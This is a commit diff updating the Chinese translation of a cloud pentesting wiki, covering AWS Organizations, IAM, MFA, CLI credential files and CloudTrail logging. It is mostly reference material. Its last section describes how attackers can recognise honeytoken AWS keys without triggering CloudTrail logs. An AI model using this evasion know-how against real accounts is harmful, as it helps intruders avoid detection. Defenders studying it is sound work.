Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:48:10 +00:00
parent dbf23dcc82
commit c979a624df
33 changed files with 594 additions and 884 deletions

View File

@@ -10,7 +10,7 @@
在 AWS 中有一个 **根账户,** 它是您 **组织中所有账户的父容器**。然而,您不需要使用该账户来部署资源,您可以创建 **其他账户以将不同的 AWS** 基础设施分开。
**安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),这样您可以在部署之间创建边界。
**安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),因此您可以在部署之间创建边界。
因此,在一个组织中有 **两种类型的账户**(我们谈论的是 AWS 账户,而不是用户账户):一个被指定为管理账户的单一账户,以及一个或多个成员账户。
@@ -22,12 +22,12 @@
- 管理邀请
- 对组织内的实体根、OU 或账户)应用政策
- 启用与支持的 AWS 服务的集成,以在组织中的所有账户之间提供服务功能。
- 可以使用用于创建此根账户/组织的电子邮件和密码根用户身份登录。
- 可以使用创建此根账户/组织时使用的电子邮件和密码作为根用户登录。
管理账户具有 **付款账户的责任**,并负责支付所有成员账户产生的费用。您无法更改组织的管理账户。
管理账户具有 **付款账户的责任**,并负责支付所有成员账户产生的费用。您无法更改组织的管理账户。
- **成员账户** 组成了组织中所有其他账户。一个账户一次只能是一个组织的成员。您可以将政策附加到一个账户,以仅对该账户应用控制。
- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**一般来说,他们将无法管理账单(但可能会被授予访问权限)。
- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**通常他们将无法管理账单(但可能会被授予访问权限)。
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到组织根或 OU 时,**SCP 限制成员账户中实体的权限**。
**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。
这是 **即使是根用户也无法被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\
绕过此限制的唯一方法是同时妥协配置 SCP 的 **主账户**(主账户无法被阻止)。
@@ -69,7 +69,7 @@ SCP 示例:
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
注意AWS 中有 4 个分区,但只有 3 种调用它们的方法
注意AWS中有4个分区,但只有3种调用方式
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -78,51 +78,51 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
## IAM - 身份和访问管理
IAM 是允许您管理 **身份验证**、**授权**和 **访问控制** 的服务。
IAM是允许您管理**身份验证**、**授权**和**访问控制**的服务。
- **身份验证** - 定义身份和验证该身份的过程。此过程可以细分为:识别和验证。
- **授权** - 确定身份在系统中经过身份验证后可以访问的内容。
- **访问控制** - 授予对安全资源访问的方式和过程。
IAM 可以通过其管理、控制和治理身份对您 AWS 账户内资源的身份验证、授权和访问控制机制的能力来定义。
IAM可以通过其管理、控制和治理身份对您AWS账户内资源的身份验证、授权和访问控制机制的能力来定义。
### [AWS 账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
### [AWS账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
当您首次创建 Amazon Web Services (AWS) 账户时,您将拥有一个具有 **完全访问所有** AWS 服务和资源的单一登录身份。这是 AWS 账户的 _**根用户**_,通过使用 **您用于创建账户的电子邮件地址和密码** 登录访问
当您首次创建Amazon Web Services (AWS)账户时,您将开始使用一个具有**对账户中所有**AWS服务和资源的**完全访问权限**的单一登录身份。这是AWS账户的_**根用户**_,通过使用**您用于创建账户的电子邮件地址和密码**进行登录
请注意,新创建的 **管理员用户****权限将少于根用户**
请注意,新创建的**管理员用户**将具有**比根用户更少的权限**。
从安全的角度来看,建议创建其他用户并避免使用此用户。
### [IAM 用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
### [IAM用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
IAM _用户_ 是您在 AWS 中创建的实体,用于 **代表使用它与 AWS 交互的人员或应用程序**。AWS 中的用户由名称和凭据(密码和最多两个访问密钥)组成。
IAM _用户_是您在AWS中创建的实体用于**代表使用它与AWS交互的人员或应用程序**。AWS中的用户由名称和凭据密码和最多两个访问密钥组成。
当您创建 IAM 用户时,您通过将其设置为具有适当权限策略的 **用户组的成员**(推荐)或 **直接将策略附加** 到用户来授予其 **权限**
当您创建IAM用户时您通过将其设置为具有适当权限策略的**用户组的成员**(推荐)或**直接将策略附加**到用户来授予其**权限**。
用户可以启用 **MFA 登录** 控制台。启用 MFA 的用户的 API 令牌不受 MFA 保护。如果您想要 **使用 MFA 限制用户的 API 密钥访问**,您需要在策略中指明为了执行某些操作需要 MFA示例 [**这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。
用户可以启用**MFA登录**控制台。启用MFA的用户的API令牌不受MFA保护。如果您想要**使用MFA限制用户的API密钥访问**您需要在策略中指明为了执行某些操作需要MFA示例[**这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。
#### CLI
- **访问密钥 ID**20 个随机大写字母数字字符,如 AKHDNAPO86BSHKDIRYT
- **秘密访问密钥 ID**40 个随机大小写字符S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU无法检索丢失的秘密访问密钥 ID
- **访问密钥ID**20个随机大写字母数字字符如AKHDNAPO86BSHKDIRYT
- **秘密访问密钥ID**40个随机大小写字符S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU无法检索丢失的秘密访问密钥ID
每当您需要 **更改访问密钥** 时,您应遵循以下过程:\
&#xNAN;_&#x43;reate a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
每当您需要**更改访问密钥**时,您应遵循以下过程:\
_创建一个新的访问密钥 -> 将新密钥应用于系统/应用程序 -> 将原始密钥标记为非活动 -> 测试并验证新访问密钥是否有效 -> 删除旧访问密钥_
### MFA - 多因素身份验证
它用于 **创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\
您可以使用 **免费的虚拟应用程序或物理设备**。您可以使用 Google 身份验证应用程序免费激活 AWS 中的 MFA。
它用于**创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\
您可以使用**免费的虚拟应用程序或物理设备**。您可以使用Google身份验证器这样的应用程序免费激活AWS中的MFA。
带有 MFA 条件的策略可以附加到以下内容:
带有MFA条件的策略可以附加到以下内容
- IAM 用户或组
- 资源,例如 Amazon S3 存储桶、Amazon SQS 队列或 Amazon SNS 主题
- 可以被用户假设的 IAM 角色的信任策略
- IAM用户或组
- 资源例如Amazon S3桶、Amazon SQS队列或Amazon SNS主题
- 可以被用户假设的IAM角色的信任策略
如果您想要 **通过 CLI 访问** 检查 **MFA** 的资源,您需要调用 **`GetSessionToken`**。这将为您提供一个包含 MFA 信息的令牌。\
请注意 **`AssumeRole` 凭据不包含此信息**。
如果您想要**通过CLI访问**一个**检查MFA**的资源,您需要调用**`GetSessionToken`**。这将为您提供一个包含MFA信息的令牌。\
请注意**`AssumeRole`凭据不包含此信息**。
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
@@ -138,12 +138,12 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
- 一个用户**组**可以**包含多个用户**,而一个**用户**可以**属于多个组**。
- **用户组不能嵌套**;它们只能包含用户,而不能包含其他用户组。
- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,必须创建它并将每个新用户分配给它。
- AWS账户中IAM资源的数量和大小是有限的例如组的数量以及用户可以成为成员的组的数量。有关更多信息请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,必须创建它并将每个新用户分配给它。
- AWS账户中IAM资源的数量和大小是有限的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。
@@ -153,7 +153,7 @@ AWS安全令牌服务STS是一个网络服务促进**临时、有限权
### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**临时凭证主要与IAM角色一起使用**但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效
**临时凭证主要与IAM角色一起使用**但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效持续时间
### 策略
@@ -165,7 +165,7 @@ AWS安全令牌服务STS是一个网络服务促进**临时、有限权
- 客户管理策略由您配置。您可以基于AWS管理策略创建策略修改其中一个并创建自己的使用策略生成器一个帮助您授予和拒绝权限的GUI视图或编写自己的策略。
默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\
如果**存在单个“拒绝”**它将覆盖“允许”但AWS账户的根安全凭证默认允许使用的请求除外。
如果**存在单个“拒绝”**它将覆盖“允许”但AWS账户的根安全凭证的请求(默认允许)除外。
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -194,17 +194,17 @@ AWS安全令牌服务STS是一个网络服务促进**临时、有限权
#### 内联策略
这种策略是**直接分配**给用户、组或角色的。因此,它们不会出现在策略列表中,因为其他任何人都可以使用它们。\
内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时策略中的权限不能意外附加到错误的身份。此外当您使用AWS管理控制台删除该身份时嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。
内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您希望确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时策略中的权限不能意外附加到错误的身份。此外当您使用AWS管理控制台删除该身份时嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。
#### 资源桶策略
这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。
如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。
如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则它们被允许
### IAM边界
IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。
IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户一组不同的权限,如果他尝试使用这些权限,操作将**失败**。
边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**如果边界指示他只能读取S·桶那就是他能做的最大事情。
@@ -212,7 +212,7 @@ IAM边界可以用来**限制用户或角色应有的权限**。这样,即使
### 会话策略
会话策略是**在角色被假设时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
会话策略是**在角色被假设时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
```bash
@@ -222,7 +222,7 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
注意,默认情况下,**AWS 可能会将会话策略添加到即将生成的会话**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中默认情况下使用增强认证AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
注意,默认情况下,**AWS 可能会为即将生成的会话添加会话策略**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中默认情况下使用增强认证AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**
@@ -233,13 +233,13 @@ aws sts assume-role \
要配置这种信任,生成一个 **IAM 身份提供者SAML 或 OAuth**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS他将以提到的角色进行访问。
然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的。
然而,通常你会希望根据第三方平台中用户的 **组别给予不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM 身份中心
AWS IAM 身份中心AWS 单点登录的继任者)扩展了 AWS 身份和访问管理IAM的功能提供一个 **中央位置**,将 **用户及其对 AWS** 户和云应用程序的访问管理汇集在一起。
AWS IAM 身份中心AWS 单点登录的继任者)扩展了 AWS 身份和访问管理IAM的功能提供一个 **中央位置**,将 **用户及其对 AWS** 户和云应用程序的访问管理汇集在一起。
登录域将类似于 `<user_input>.awsapps.com`
@@ -251,20 +251,20 @@ AWS IAM 身份中心AWS 单点登录的继任者)扩展了 AWS 身份和访
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略****组织的任何**
在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略****组织的任何**
为了给身份中心用户/组访问一个帐户,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标户中创建一个 **信任身份提供者并具有指示策略的角色**
为了给身份中心用户/组对账户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标户中创建一个 **信任身份提供者并具有指示策略的角色**
#### AwsSSOInlinePolicy
可以通过 **IAM 身份中心创建的角色的内联策略****授予权限**。在被授予 **AWS 身份中心内联策略**户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
可以通过 **IAM 身份中心创建的角色的内联策略****授予权限**。在被授予 **AWS 身份中心内联策略**户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
因此,即使你看到两个有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**
因此,即使你看到两个有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**
### 跨账户信任和角色
**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信) **访问他的**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。
**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信 **访问他的**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。
### AWS Simple AD
@@ -280,21 +280,23 @@ AWS IAM 身份中心AWS 单点登录的继任者)扩展了 AWS 身份和访
#### Web 联合或 OpenID 认证
该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予访问 AWS 控制台的权限,仅授予对 AWS 内部资源的访问权限
该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。
### 其他 IAM 选项
- 你可以 **设置密码策略设置**,选项如最小长度和密码要求。
- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用)。你可以每 **四小时** 生成一次凭证报告。
- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每 **四小时** 生成一次凭证报告。
AWS 身份和访问管理IAM提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以 **确保最小权限**
AWS 身份和访问管理IAM提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的劳动力和系统的权限,以 **确保最小权限**
### IAM ID 前缀
在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的键的 **IAM ID 前缀**
在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的 **IAM ID 前缀**
| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| 标识符代码 | 描述 |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | 上下文特定凭证 |
| AGPA | 用户组 |
| AIDA | IAM 用户 |
@@ -325,7 +327,7 @@ AWS 身份和访问管理IAM提供 **细粒度的访问控制**,覆盖
### CLI 认证
为了让常规用户通过 CLI 认证到 AWS你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials`**手动** 配置它们,或通过 **运行** `aws configure`。\
在该文件中,你可以拥有多个配置文件,如果 **未指定配置文件**,使用 **aws cli**,将使用该文件中名为 **`[default]`** 的配置文件。\
在该文件中,你可以拥有多个配置文件,如果 **aws cli** 中未指定 **配置文件**将使用该文件中名为 **`[default]`** 的配置文件。\
具有多个配置文件的凭证文件示例:
```
[default]
@@ -337,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**假设这些账户中的角色**的权限,您不需要每次手动调用STS`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`)并配置凭证。
如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**这些账户内假设角色**的权限您不需要每次手动调用STS`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`)并配置凭证。
您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\
配置文件示例:

View File

@@ -4,7 +4,7 @@
## **CloudTrail**
AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。
每个记录的事件包含:
@@ -19,17 +19,17 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细
- 请求参数: `requestParameters`
- 响应元素: `responseElements`
事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,这些日志由 CloudTrail 保存,最后,日志文件 **大约 15 分钟后交付到 S3**。\
事件大约每 5 分钟写入一个新的日志文件,**以 JSON 文件格式**,它们由 CloudTrail 保存,最后,日志文件大约 15 分钟后 **交付到 S3**。\
CloudTrail 的日志可以 **跨账户和跨区域聚合。**\
CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\
创建 Trail 时,事件选择器将允许您指示要记录的 Trail管理、数据或洞察事件。
日志保存在 S3 存储桶中。默认情况下使用服务器端加密SSE-S3因此 AWS 将为有权的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
日志保存在 S3 存储桶中。默认情况下使用服务器端加密SSE-S3因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
日志存储在 **具有此名称格式的 S3 存储桶中**
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- 其中 BucketName 为: **`aws-cloudtrail-logs-<accountid>-<random>`**
- 存储桶名称为: **`aws-cloudtrail-logs-<accountid>-<random>`**
- 示例: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
在每个文件夹中,每个日志将具有 **遵循此格式的名称** **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
@@ -59,7 +59,7 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
这样,您可以轻松地在所有账户的所有区域配置 CloudTrail并将日志集中在一个账户中您应该保护该账户
这样,您可以轻松地在所有账户的所有区域配置 CloudTrail并将日志集中在一个账户中您应该保护该账户
### 日志文件检查
@@ -70,7 +70,7 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
### 日志到 CloudWatch
**CloudTrail 可以自动将日志发送到 CloudWatch以便您可以设置警报当执行可疑活动时提醒您。**\
请注意,为了允许 CloudTrail 将日志发送到 CloudWatch需要创建一个 **角色** 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail
请注意,为了允许 CloudTrail 将日志发送到 CloudWatch需要创建一个允许该操作的 **角色**。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail
- CreateLogStream这允许创建 CloudWatch Logs 日志流
- PutLogEvents将 CloudTrail 日志传送到 CloudWatch Logs 日志流
@@ -83,23 +83,23 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
### 洞察
**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒****异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **查找和响应异常 API 活动比以往任何时候都更容易**
**CloudTrail Insights** 自动 **分析** CloudTrail 路径的写入管理事件,并 **提醒****异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**
洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### 安全
| CloudTrail 日志文件完整性 | <ul><li>验证日志是否被篡改(修改或删除)</li><li><p>使用摘要文件(为每个文件创建哈希)</p><ul><li>SHA-256 哈希</li><li>使用 RSA 进行数字签名的 SHA-256</li><li>由 Amazon 拥有的私钥</li></ul></li><li>创建摘要文件需要 1 小时(每小时整点完成)</li></ul> |
| 控制名称 | 实施细节 |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail 日志文件完整性 | <ul><li>验证日志是否被篡改(修改或删除)</li><li><p>使用摘要文件(为每个文件创建哈希)</p><ul><li>SHA-256 哈希</li><li>使用 RSA 进行数字签名的 SHA-256</li><li>私钥由 Amazon 拥有</li></ul></li><li>创建摘要文件需要 1 小时(每小时整点完成)</li></ul> |
| 防止未经授权的访问 | <ul><li><p>使用 IAM 策略和 S3 存储桶策略</p><ul><li>安全团队 —> 管理员访问</li><li>审计员 —> 只读访问</li></ul></li><li>使用 SSE-S3/SSE-KMS 加密日志</li></ul> |
| 防止日志文件被删除 | <ul><li>使用 IAM 和存储桶策略限制删除访问</li><li>配置 S3 MFA 删除</li><li>通过日志文件验证进行验证</li></ul> |
## 访问顾问
AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
AWS 访问顾问依赖于过去 400 天的 AWS **CloudTrail 日志来收集其洞察**。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用相关事件的历史记录。访问顾问利用这些数据 **显示服务最后一次访问的时间**。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 **精炼权限** 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。
> [!TIP]
> 因此,访问顾问告知 **给予用户的不必要权限**,以便管理员可以删除它们
> 因此,访问顾问告知 **用户被授予的不必要权限**,以便管理员可以删除它们
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -148,15 +148,15 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
### HoneyTokens **绕过**
Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就说明该密钥可能被盗
Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID**您就可以知道该密钥是否 Honeytoken**。
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 这样的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID**您就可以知道该密钥是否 Honeytoken**。
